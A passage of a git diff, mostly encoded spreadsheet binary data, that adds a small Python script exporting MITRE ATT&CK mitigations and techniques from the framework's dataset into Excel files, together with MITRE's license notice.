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 literal 0 HcmV?d00001 diff --git a/tools/mitre/mitre.py b/tools/mitre/mitre.py new file mode 100644 index 000000000..b6af0a1d6 --- /dev/null +++ b/tools/mitre/mitre.py @@ -0,0 +1,43 @@ +from mitreattack.stix20 import MitreAttackData +import json +from openpyxl import Workbook + +MITRE_COPYRIGHT=""" +Terms of Use +LICENSE +The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use ATT&CK® for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. +"© 2022 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation." +DISCLAIMERS +MITRE does not claim ATT&CK enumerates all possibilities for the types of actions and behaviors documented as part of its adversary model and framework of techniques. Using the information contained within ATT&CK to address or cover full categories of techniques will not guarantee full defensive coverage as there may be undisclosed techniques or variations on existing techniques not documented by ATT&CK. +ALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN ARE PROVIDED ON AN "AS IS" BASIS AND THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS OR IS SPONSORED BY (IF ANY), THE MITRE CORPORATION, ITS BOARD OF TRUSTEES, OFFICERS, AGENTS, AND EMPLOYEES, DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION THEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. +""" + +def main(): + mitre_attack_data = MitreAttackData("enterprise-attack.json") + + mitigations = mitre_attack_data.get_mitigations(remove_revoked_deprecated=True) + print(f"Retrieved {len(mitigations)} ATT&CK mitigations.") + wb = Workbook() + ws = wb.active + ws.append(["ref_id", "name", "category", "description"]) + for m in mitigations: + ws.append([m.external_references[0].external_id, + m.name, + "technical", + m.description.strip(" \n") + "\n" + m.external_references[0].url]) + wb.save('measures.xlsx') + + techniques = mitre_attack_data.get_techniques(remove_revoked_deprecated=True) + print(f"Retrieved {len(techniques)} ATT&CK techniques.") + main_techniques = [t for t in techniques if not t.x_mitre_is_subtechnique] + wb = Workbook() + ws = wb.active + ws.append(["ref_id", "name", "description"]) + for t in techniques: + ws.append([t.external_references[0].external_id, + t.name, + t.description.strip(" \n") + "\n" + t.external_references[0].url]) + wb.save('techniques.xlsx') + +if __name__ == "__main__": + main() diff --git a/tools/mitre/techniques.xlsx b/tools/mitre/techniques.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..b9e3ec20757ca20b405ad22e5b3e9db8241ca54a GIT binary patch literal 302562 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 